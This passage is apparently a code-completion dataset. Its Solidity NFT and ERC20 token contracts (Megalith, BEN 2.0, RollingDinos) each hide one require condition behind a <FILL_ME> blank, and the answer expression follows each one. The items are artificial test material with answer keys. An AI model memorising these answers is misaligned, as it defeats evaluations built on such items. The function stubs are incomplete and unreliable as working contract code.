"KEYS")Owned(msg.sender){} /// @notice Receive function which calls the sacrifice function receive() external payable { } /// @notice Sacrifice function which enables claim of tokens for sender and updates the sender's payed amount function sacrifice() public payable { } /// @notice Function callable by sacrificers to claim a single token once the sacrifice period is over function pray() external { } /// @notice Function callable by token owners to broadcast content to the megalith stream /// @param token The token to utilize for the broadcast /// @param mediaHash Location of data to broadcast function broadcast(uint token, string calldata mediaHash) external { } /// @notice Function callable by vandal token owners to vandalize content from the megalith stream /// @param token The token to utilize for the broadcast /// @param mediaHash Location of data to vandalize function vandalize(uint token, string calldata mediaHash) external payable { require(msg.value >= vandalismFee, "Insufficient funds"); require(broadcastActive, "Broadcast is not active"); require(ownerOf(token) == msg.sender, "You are not the owner of this token"); require(<FILL_ME>) emit Vandalize(msg.sender, token, mediaHash); } /// @notice Function called by vandalize function to check if the token being used is prime /// @return True if the token is prime, false otherwise /// @param n The number to check if it is prime function _isPrime(uint n) private pure returns (bool) { } /// @notice Function called by owner to update the baseURI string variable /// @param newBaseURI The new base URI for the contract function updateBaseURI(string calldata newBaseURI) external onlyOwner { } /// @notice Function called by owner to flip the sacrificeActive boolean variable function flipSacrificeActive() external onlyOwner { } /// @notice Function called by owner to flip the brodcaseActive boolean variable function flipBroadcastActive() external onlyOwner { } /// @notice Function called by owner to flip the prayActive boolean variable function flipPrayActive() external onlyOwner { } /// @notice Function called by owner to update the vandalismFee uint variable /// @param newVandalismFee The new value for the vandalismFee uint variable function updateVandalismFee(uint newVandalismFee) external onlyOwner { } /// @notice Function called by owner to withdraw all funds from the contract function withdraw() external onlyOwner { } function developerSacrament(uint quantity) external onlyOwner { } /// @notice Function called by marketplaces to return tokenURI for a given token /// @param tokenId The token to get the tokenURI for function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { } }
_isPrime(token),"This token is not prime"
115,241
_isPrime(token)
"Sacrifice is active"
//SPDX-License-Identifier: UNLICENSED //@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ //@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ //@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ &&&&&&&&&&&&& @@@@@@@@@@@@@@@@@@@@@@@@ //@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@&&&&&&&&&&&&&&&&&&&&& &%@@@@@@@@@@@@@@@@@@@@@ //@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@&&&&&&&&&&&&&&&&&&&&&&&& &&&*@@@@@@@@@@@@@@@@@@@ //@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@&&&&&&&&&&&&&&&&&&&&&&&&& &&&&&@@@@@@@@@@@@@@@@@@@ //@@@@@@@@@@@@@@@@@@@@@@@@@@@@ &&&* &&&&&&&&&&& &&&&&@@@@@@@@@@@@@@@@@@@ //@@@@@@@@@@@@@@@@@@@@@@@@@@@& &&&&&&& &&&&&@@@@@@@@@@@@@@@@@@@ //@@@@@@@@@@@@@@@@@@@@@@@@@@ &&&&& &&&&@@@@@@@@@@@@@@@@@@@ //@@@@@@@@@@@@@@@@@@@@@@@@ &&&&&&&&@@@@@@@@@@@@@@@@@@@ //@@@@@@@@@@@@@@@@@@@@@@@@ &&&( ,&&&&&&&&&&&&&@@@@@@@@@@@@@@@@@@ //@@@@@@@@@@@@@@@@@@@@@@@@@ &&&&&&&&& &&&&&&&&&&&&&&&&&&&&@@@@@@@@@@@@@@@@@@ //@@@@@@@@@@@@@@@@@@@@@@@@@@ &&&&&&&&&&&&&&&&&&&&&&&&&&&&&&@@@@@@@@@@@@@@@@@@@ //@@@@@@@@@@@@@@@@@@@@@@@@@ &&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&@@@@@@@@@@@@@@@@@@@ //@@@@@@@@@@@@@@@@@@@@@@@@ &&&&&&&&&&&&&&&&&&&&&&&&&&&&.&&&&&@@@@@@@@@@@@@@@@@@@ //@@@@@@@@@@@@@@@@@@@@@@ &&&&&&&&&&&&&&&&&&&&&&&&&&&&&& &&&&&@@@@@@@@@@@@@@@@@@@ //@@@@@@@@@@@@@@@@@@@@@ &&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& &&&&&@@@@@@@@@@@@@@@@@@@ //@@@@@@@@@@@@@@@@@@@,&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&% &&&&@@@@@@@@@@@@@@@@@@@@ //@@@@@@@@@@@@@@@@@@&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& &&&& @@@@@@@@@@@@@@@@@@@ //@@@@@@@@@@@@@@@@@ && .&&&&&&&&&&&&&&&&&&&&& &&&&&#@@@@@@@@@@@@@@@@@@@ //@@@@@@@@@@@@@@@@@@ &&& *&&&&&&&&&&&&&&&&&&& &&&&&@@@@@@@@@@@@@@@@@@@@ //@@@@@@@@@@@@@@@@@@ &&&&&&&&&&&&&&&&&&&&& &&&& @@@@@@@@@@@@@@@@@@@@ //@@@@@@@@@@@@@@@@@@ &&&&&&&&&&&&&&&&&&&&&&&&&&&& &&& @@@@@@@@@@@@@@@@@@@@@ //@@@@@@@@@@@@@@@@@@ &&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& @@@@@@@@@@@@@@@@@@@@@@@@@ //@@@@@@@@@@@@@@@@@ &&&&&&&&&&&&&&&&&&&&&&&&&(@@@@@@@@@@@@@@@@@@@@@@@@@ //@@@@@@@@@@@@@@@@@ @ &&&&&&&&&&&&&&&&&&&&&&&&*@@@@@@@@@@@@@@@@@@@@@@@@@ //@@@@@@@@@@@@@@@@@ &&&&&&&&&&&&&&&&&&&&&&&&*@@@@@@@@@@@@@@@@@@@@@@@@@ //@@@@@@@@@@@@@@@@@ &&&&&&&&&&&&&&&&&&&&&&&&&&&&&&@@@@@@@@@@@@@@@@@@@@@@@@@ //@@@@@@@@@@@@@@@@, &&&&&&&&&&&&&&&&&&&&&&&&&&&&&& @@@@@@@@@@@@@@@@@@@@@@@@@ //@@@@@@@@@@@@@@@@ &&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&@@@@@@@@@@@@@@@@@@@@@@@@@@ //@@@@@@@@@@@@@@@@ &&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&@@@@@@@@@@@@@@@@@@@@@@@@@ //@@@@@@@@@@@@@@@ &&&&&&&&&&&&&&&&&&&&&&&% &&&&&&&&&&%@@@@@@@@@@@@@@@@@@@@@@ //@@@@@@@@@@@@@@# &&&&&&&&&&&&&&&&&&& &&&&&&&&&&&&&&&&#@@@@@@@@@@@@@@@@@@@ //@@@@@@@@@@@@@@@ &&&&&&&&&&&&& &&&&&&&&&&&&&&&&&&&&&&@@@@@@@@@@@@@@@@@ //@@@@@@@@@@@@@@@@@@@@ &&&&&&&&&&&&&&&&&&&&&&&&&&&@@@@@@@@@@@@@@@ //@@@@@@@@@@@@@@@@@@@@@ &&&&&&&&&&&&&&&&&&&&&&&&&&&&&&@@@@@@@@@@@@@@ //@@@@@@@@@@@@@@@@@@@@ &&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&@@@@@@@@@@@@@ //@@@@@@@@@@@@@@@@@@@ &&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&@@@@@@@@@@@@ //@@@@@@@@@@@@@@@@@@ &&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&@@@@@@@@@@@@@ //@@@@@@@@@@@@@@@@@@ &&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&.@@@@@@@@@@@@@@@ //@@@@@@@@@@@@@@@@@ &&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&@@@@@@@@@@@@@@@@@@ //@@@@@@@@@@@@@@@@ &&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&@@@@@@@@@@@@@@@@@@@@ //@@@@@@@@@@@@@@@@ &&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&*@@@@@@@@@@@@@@@@@@@@@ //@@@@@@@@@@@@@@@ &&&&&&&&&&&&&&&&&&&&&&&&&&&&&&@@@@@@@@@@@@@@@@@@@@@@@@@@ //@@@@@@@@@@@@@@# &&&&&&&&&&&&&&&&&&&&&&&& @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ //@@@@@@@@@@@@@@ &&&&&&&&&&&&&&&&&&&&@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ //@@@@@@@@@@@@@. &&&&&&&&&&&& @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ //@@@@@@@@@@@@@ ,&(@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ //@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ //@@@@@@@@@@@@@@@@@@#*(@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ //@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ pragma solidity ^0.8.15; /// @title Megalith Token /// @author MYRLN import "solmate/auth/Owned.sol"; import "ERC721A/ERC721A.sol"; import "openzeppelin-contracts/contracts/utils/Strings.sol"; contract MGLTH is ERC721A, Owned { using Strings for uint256; string public baseURI; bool public broadcastActive; bool public prayActive; bool public sacrificeActive = true; bool public developerSacramentState; uint public vandalismFee = 10**16; mapping (address => bool) public addressSacrificed; mapping (address => uint) public payedAmount; event Broadcast(address indexed injector, uint indexed token, string indexed mediaHash); event Vandalize(address indexed injector, uint indexed token, string indexed mediaash); constructor()ERC721A("MEGALITH", "KEYS")Owned(msg.sender){} /// @notice Receive function which calls the sacrifice function receive() external payable { } /// @notice Sacrifice function which enables claim of tokens for sender and updates the sender's payed amount function sacrifice() public payable { } /// @notice Function callable by sacrificers to claim a single token once the sacrifice period is over function pray() external { } /// @notice Function callable by token owners to broadcast content to the megalith stream /// @param token The token to utilize for the broadcast /// @param mediaHash Location of data to broadcast function broadcast(uint token, string calldata mediaHash) external { } /// @notice Function callable by vandal token owners to vandalize content from the megalith stream /// @param token The token to utilize for the broadcast /// @param mediaHash Location of data to vandalize function vandalize(uint token, string calldata mediaHash) external payable { } /// @notice Function called by vandalize function to check if the token being used is prime /// @return True if the token is prime, false otherwise /// @param n The number to check if it is prime function _isPrime(uint n) private pure returns (bool) { } /// @notice Function called by owner to update the baseURI string variable /// @param newBaseURI The new base URI for the contract function updateBaseURI(string calldata newBaseURI) external onlyOwner { } /// @notice Function called by owner to flip the sacrificeActive boolean variable function flipSacrificeActive() external onlyOwner { } /// @notice Function called by owner to flip the brodcaseActive boolean variable function flipBroadcastActive() external onlyOwner { } /// @notice Function called by owner to flip the prayActive boolean variable function flipPrayActive() external onlyOwner { require(<FILL_ME>) prayActive = !prayActive; } /// @notice Function called by owner to update the vandalismFee uint variable /// @param newVandalismFee The new value for the vandalismFee uint variable function updateVandalismFee(uint newVandalismFee) external onlyOwner { } /// @notice Function called by owner to withdraw all funds from the contract function withdraw() external onlyOwner { } function developerSacrament(uint quantity) external onlyOwner { } /// @notice Function called by marketplaces to return tokenURI for a given token /// @param tokenId The token to get the tokenURI for function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { } }
!sacrificeActive,"Sacrifice is active"
115,241
!sacrificeActive
"Developer sacrament has already been performed"
//SPDX-License-Identifier: UNLICENSED //@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ //@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ //@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ &&&&&&&&&&&&& @@@@@@@@@@@@@@@@@@@@@@@@ //@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@&&&&&&&&&&&&&&&&&&&&& &%@@@@@@@@@@@@@@@@@@@@@ //@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@&&&&&&&&&&&&&&&&&&&&&&&& &&&*@@@@@@@@@@@@@@@@@@@ //@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@&&&&&&&&&&&&&&&&&&&&&&&&& &&&&&@@@@@@@@@@@@@@@@@@@ //@@@@@@@@@@@@@@@@@@@@@@@@@@@@ &&&* &&&&&&&&&&& &&&&&@@@@@@@@@@@@@@@@@@@ //@@@@@@@@@@@@@@@@@@@@@@@@@@@& &&&&&&& &&&&&@@@@@@@@@@@@@@@@@@@ //@@@@@@@@@@@@@@@@@@@@@@@@@@ &&&&& &&&&@@@@@@@@@@@@@@@@@@@ //@@@@@@@@@@@@@@@@@@@@@@@@ &&&&&&&&@@@@@@@@@@@@@@@@@@@ //@@@@@@@@@@@@@@@@@@@@@@@@ &&&( ,&&&&&&&&&&&&&@@@@@@@@@@@@@@@@@@ //@@@@@@@@@@@@@@@@@@@@@@@@@ &&&&&&&&& &&&&&&&&&&&&&&&&&&&&@@@@@@@@@@@@@@@@@@ //@@@@@@@@@@@@@@@@@@@@@@@@@@ &&&&&&&&&&&&&&&&&&&&&&&&&&&&&&@@@@@@@@@@@@@@@@@@@ //@@@@@@@@@@@@@@@@@@@@@@@@@ &&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&@@@@@@@@@@@@@@@@@@@ //@@@@@@@@@@@@@@@@@@@@@@@@ &&&&&&&&&&&&&&&&&&&&&&&&&&&&.&&&&&@@@@@@@@@@@@@@@@@@@ //@@@@@@@@@@@@@@@@@@@@@@ &&&&&&&&&&&&&&&&&&&&&&&&&&&&&& &&&&&@@@@@@@@@@@@@@@@@@@ //@@@@@@@@@@@@@@@@@@@@@ &&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& &&&&&@@@@@@@@@@@@@@@@@@@ //@@@@@@@@@@@@@@@@@@@,&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&% &&&&@@@@@@@@@@@@@@@@@@@@ //@@@@@@@@@@@@@@@@@@&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& &&&& @@@@@@@@@@@@@@@@@@@ //@@@@@@@@@@@@@@@@@ && .&&&&&&&&&&&&&&&&&&&&& &&&&&#@@@@@@@@@@@@@@@@@@@ //@@@@@@@@@@@@@@@@@@ &&& *&&&&&&&&&&&&&&&&&&& &&&&&@@@@@@@@@@@@@@@@@@@@ //@@@@@@@@@@@@@@@@@@ &&&&&&&&&&&&&&&&&&&&& &&&& @@@@@@@@@@@@@@@@@@@@ //@@@@@@@@@@@@@@@@@@ &&&&&&&&&&&&&&&&&&&&&&&&&&&& &&& @@@@@@@@@@@@@@@@@@@@@ //@@@@@@@@@@@@@@@@@@ &&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& @@@@@@@@@@@@@@@@@@@@@@@@@ //@@@@@@@@@@@@@@@@@ &&&&&&&&&&&&&&&&&&&&&&&&&(@@@@@@@@@@@@@@@@@@@@@@@@@ //@@@@@@@@@@@@@@@@@ @ &&&&&&&&&&&&&&&&&&&&&&&&*@@@@@@@@@@@@@@@@@@@@@@@@@ //@@@@@@@@@@@@@@@@@ &&&&&&&&&&&&&&&&&&&&&&&&*@@@@@@@@@@@@@@@@@@@@@@@@@ //@@@@@@@@@@@@@@@@@ &&&&&&&&&&&&&&&&&&&&&&&&&&&&&&@@@@@@@@@@@@@@@@@@@@@@@@@ //@@@@@@@@@@@@@@@@, &&&&&&&&&&&&&&&&&&&&&&&&&&&&&& @@@@@@@@@@@@@@@@@@@@@@@@@ //@@@@@@@@@@@@@@@@ &&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&@@@@@@@@@@@@@@@@@@@@@@@@@@ //@@@@@@@@@@@@@@@@ &&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&@@@@@@@@@@@@@@@@@@@@@@@@@ //@@@@@@@@@@@@@@@ &&&&&&&&&&&&&&&&&&&&&&&% &&&&&&&&&&%@@@@@@@@@@@@@@@@@@@@@@ //@@@@@@@@@@@@@@# &&&&&&&&&&&&&&&&&&& &&&&&&&&&&&&&&&&#@@@@@@@@@@@@@@@@@@@ //@@@@@@@@@@@@@@@ &&&&&&&&&&&&& &&&&&&&&&&&&&&&&&&&&&&@@@@@@@@@@@@@@@@@ //@@@@@@@@@@@@@@@@@@@@ &&&&&&&&&&&&&&&&&&&&&&&&&&&@@@@@@@@@@@@@@@ //@@@@@@@@@@@@@@@@@@@@@ &&&&&&&&&&&&&&&&&&&&&&&&&&&&&&@@@@@@@@@@@@@@ //@@@@@@@@@@@@@@@@@@@@ &&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&@@@@@@@@@@@@@ //@@@@@@@@@@@@@@@@@@@ &&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&@@@@@@@@@@@@ //@@@@@@@@@@@@@@@@@@ &&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&@@@@@@@@@@@@@ //@@@@@@@@@@@@@@@@@@ &&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&.@@@@@@@@@@@@@@@ //@@@@@@@@@@@@@@@@@ &&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&@@@@@@@@@@@@@@@@@@ //@@@@@@@@@@@@@@@@ &&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&@@@@@@@@@@@@@@@@@@@@ //@@@@@@@@@@@@@@@@ &&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&*@@@@@@@@@@@@@@@@@@@@@ //@@@@@@@@@@@@@@@ &&&&&&&&&&&&&&&&&&&&&&&&&&&&&&@@@@@@@@@@@@@@@@@@@@@@@@@@ //@@@@@@@@@@@@@@# &&&&&&&&&&&&&&&&&&&&&&&& @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ //@@@@@@@@@@@@@@ &&&&&&&&&&&&&&&&&&&&@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ //@@@@@@@@@@@@@. &&&&&&&&&&&& @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ //@@@@@@@@@@@@@ ,&(@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ //@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ //@@@@@@@@@@@@@@@@@@#*(@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ //@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ pragma solidity ^0.8.15; /// @title Megalith Token /// @author MYRLN import "solmate/auth/Owned.sol"; import "ERC721A/ERC721A.sol"; import "openzeppelin-contracts/contracts/utils/Strings.sol"; contract MGLTH is ERC721A, Owned { using Strings for uint256; string public baseURI; bool public broadcastActive; bool public prayActive; bool public sacrificeActive = true; bool public developerSacramentState; uint public vandalismFee = 10**16; mapping (address => bool) public addressSacrificed; mapping (address => uint) public payedAmount; event Broadcast(address indexed injector, uint indexed token, string indexed mediaHash); event Vandalize(address indexed injector, uint indexed token, string indexed mediaash); constructor()ERC721A("MEGALITH", "KEYS")Owned(msg.sender){} /// @notice Receive function which calls the sacrifice function receive() external payable { } /// @notice Sacrifice function which enables claim of tokens for sender and updates the sender's payed amount function sacrifice() public payable { } /// @notice Function callable by sacrificers to claim a single token once the sacrifice period is over function pray() external { } /// @notice Function callable by token owners to broadcast content to the megalith stream /// @param token The token to utilize for the broadcast /// @param mediaHash Location of data to broadcast function broadcast(uint token, string calldata mediaHash) external { } /// @notice Function callable by vandal token owners to vandalize content from the megalith stream /// @param token The token to utilize for the broadcast /// @param mediaHash Location of data to vandalize function vandalize(uint token, string calldata mediaHash) external payable { } /// @notice Function called by vandalize function to check if the token being used is prime /// @return True if the token is prime, false otherwise /// @param n The number to check if it is prime function _isPrime(uint n) private pure returns (bool) { } /// @notice Function called by owner to update the baseURI string variable /// @param newBaseURI The new base URI for the contract function updateBaseURI(string calldata newBaseURI) external onlyOwner { } /// @notice Function called by owner to flip the sacrificeActive boolean variable function flipSacrificeActive() external onlyOwner { } /// @notice Function called by owner to flip the brodcaseActive boolean variable function flipBroadcastActive() external onlyOwner { } /// @notice Function called by owner to flip the prayActive boolean variable function flipPrayActive() external onlyOwner { } /// @notice Function called by owner to update the vandalismFee uint variable /// @param newVandalismFee The new value for the vandalismFee uint variable function updateVandalismFee(uint newVandalismFee) external onlyOwner { } /// @notice Function called by owner to withdraw all funds from the contract function withdraw() external onlyOwner { } function developerSacrament(uint quantity) external onlyOwner { require(<FILL_ME>) require(quantity <= 1111, "You can only mint up to 1,111 tokens"); _mint(msg.sender, quantity); developerSacramentState = true; } /// @notice Function called by marketplaces to return tokenURI for a given token /// @param tokenId The token to get the tokenURI for function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { } }
!developerSacramentState,"Developer sacrament has already been performed"
115,241
!developerSacramentState
"max wallet"
// SPDX-License-Identifier: GPL-2.0-or-later pragma solidity 0.8.19; import {Ownable} from "@openzeppelin/contracts/access/Ownable.sol"; import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol"; import {IUniswapV2Router02} from "../interfaces/IUniswapV2Router02.sol"; import {IUniswapV2Factory} from "../interfaces/IUniswapV2Factory.sol"; contract BEN20 is ERC20, Ownable { mapping(address => bool) public _whitelist; uint256 public maxPerWallet; constructor() ERC20("BEN 2.0", "BEN 2.0") { } function openTrading() external payable onlyOwner { } function burn(uint256 amt) external { } function _afterTokenTransfer( address from, address to, uint256 amount ) internal virtual override { if (from == owner()) return; if (!_whitelist[to]) { // no more than 3% of the supply per wallet require(<FILL_ME>) } } }
balanceOf(to)+amount<maxPerWallet,"max wallet"
115,263
balanceOf(to)+amount<maxPerWallet
'This amount of NFTs is not available'
pragma solidity ^0.8.4; error ApprovalCallerNotOwnerNorApproved(); error ApprovalQueryForNonexistentToken(); error ApproveToCaller(); error ApprovalToCurrentOwner(); error BalanceQueryForZeroAddress(); error MintToZeroAddress(); error MintZeroQuantity(); error OwnerQueryForNonexistentToken(); error TransferCallerNotOwnerNorApproved(); error TransferFromIncorrectOwner(); error TransferToNonERC721ReceiverImplementer(); error TransferToZeroAddress(); error URIQueryForNonexistentToken(); /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension. Built to optimize for lower gas during batch mints. * * Assumes serials are sequentially minted starting at _startTokenId() (defaults to 0, e.g. 0, 1, 2, 3..). * * Assumes that an owner cannot have more than 2**64 - 1 (max value of uint64) of supply. * * Assumes that the maximum token id cannot exceed 2**256 - 1 (max value of uint256). */ contract RollingDinos is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Compiler will pack this into a single 256bit word. struct TokenOwnership { // The address of the owner. address addr; // Keeps track of the start time of ownership with minimal overhead for tokenomics. uint64 startTimestamp; // Whether the token has been burned. bool burned; } // Compiler will pack this into a single 256bit word. struct AddressData { // Realistically, 2**64-1 is more than enough. uint64 balance; // Keeps track of mint count with minimal overhead for tokenomics. uint64 numberMinted; // Keeps track of burn count with minimal overhead for tokenomics. uint64 numberBurned; // For miscellaneous variable(s) pertaining to the address // (e.g. number of whitelist mint slots used). // If there are multiple variables, please pack them into a uint64. uint64 aux; } // The tokenId of the next token to be minted. uint256 internal _currentIndex; // Token name string private _name; // Token symbol string private _symbol; // Token symbol string public publicBaseURI; // Is token revealed bool public revealed = false; string public unrevealedUri = 'ipfs://QmRLeYNxPLprEY5Pxzqcj3G4qHtpQCThPVJ2zqKYCVWP2d'; // Owner address address payable public contractOwner; // Token money info uint16 public constant totalSupply = 6900; uint64 public constant tokenPrice = 6900000000000000; // 0.0069 ETH uint8 public constant maxMintPerTx = 5; // Mapping from token ID to ownership details // An empty struct value does not necessarily mean the token is unowned. See _ownershipOf implementation for details. mapping(uint256 => TokenOwnership) internal _ownerships; // Mapping owner address to address data mapping(address => AddressData) private _addressData; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; constructor(string memory name_, string memory symbol_, string memory baseURI_) { } /** * To change the starting tokenId, please override this function. */ function _startTokenId() internal view virtual returns (uint256) { } /** * Returns the total amount of tokens minted in the contract. */ function totalMinted() public view returns (uint256) { } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view override returns (uint256) { } /** * Returns the number of tokens minted by `owner`. */ function _numberMinted(address owner) internal view returns (uint256) { } /** * Returns the number of tokens burned by or on behalf of `owner`. */ function _numberBurned(address owner) internal view returns (uint256) { } /** * Returns the auxillary data for `owner`. (e.g. number of whitelist mint slots used). */ function _getAux(address owner) internal view returns (uint64) { } /** * Sets the auxillary data for `owner`. (e.g. number of whitelist mint slots used). * If there are multiple variables, please pack them into a uint64. */ function _setAux(address owner, uint64 aux) internal { } /** * Gas spent here starts off proportional to the maximum mint batch size. * It gradually moves to O(1) as tokens get transferred around in the collection over time. */ function _ownershipOf(uint256 tokenId) internal view returns (TokenOwnership memory) { } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view override returns (address) { } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public override { } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view override returns (address) { } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), */ function _exists(uint256 tokenId) internal view returns (bool) { } /** * @dev Equivalent to `_safeMint(to, quantity, '')`. */ function _safeMint(address to, uint256 quantity) internal { } /** * @dev Safely mints `quantity` tokens and transfers them to `to`. * * Requirements: * * - If `to` refers to a smart contract, it must implement * {IERC721Receiver-onERC721Received}, which is called for each safe transfer. * - `quantity` must be greater than 0. * * Emits a {Transfer} event. */ function _safeMint( address to, uint256 quantity, bytes memory _data ) internal { } /** * @dev Mints `quantity` tokens and transfers them to `to`. * * Requirements: * * - `to` cannot be the zero address. * - `quantity` must be greater than 0. * * Emits a {Transfer} event. */ function _mint(address to, uint256 quantity) internal { } /** * @dev Transfers `tokenId` from `from` to `to`. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) private { } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve( address to, uint256 tokenId, address owner ) private { } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkContractOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { } /** * @dev Hook that is called before a set of serially-ordered token ids are about to be transferred. This includes minting. * And also called before burning one token. * * startTokenId - the first token id to be transferred * quantity - the amount to be transferred * * Calling conditions: * * - When `from` and `to` are both non-zero, `from`'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, `tokenId` will be burned by `from`. * - `from` and `to` are never both zero. */ function _beforeTokenTransfers( address from, address to, uint256 startTokenId, uint256 quantity ) internal virtual {} /** * @dev Hook that is called after a set of serially-ordered token ids have been transferred. This includes * minting. * And also called after one token has been burned. * * startTokenId - the first token id to be transferred * quantity - the amount to be transferred * * Calling conditions: * * - When `from` and `to` are both non-zero, `from`'s `tokenId` has been * transferred to `to`. * - When `from` is zero, `tokenId` has been minted for `to`. * - When `to` is zero, `tokenId` has been burned by `from`. * - `from` and `to` are never both zero. */ function _afterTokenTransfers( address from, address to, uint256 startTokenId, uint256 quantity ) internal virtual {} /** @dev Transfers all the ETH stored on the contract to the owner */ function withdraw() public returns (bool) { } function mint(uint8 amount) external payable { require(amount <= 5, 'Amount too high. You can only buy 5 in one transaction.'); require(amount > 0, 'Amount too low. You need to mint at least 1.'); require(msg.value >= uint256(tokenPrice * amount), 'You sent too few ETH. Each NFT costs 0.0069 ETH.'); require(<FILL_ME>) _safeMint(msg.sender, amount); } function setBaseURI(string memory baseURI) public { } function setRevealed() public { } }
(uint256(totalSupply)-totalMinted())>=uint256(amount),'This amount of NFTs is not available'
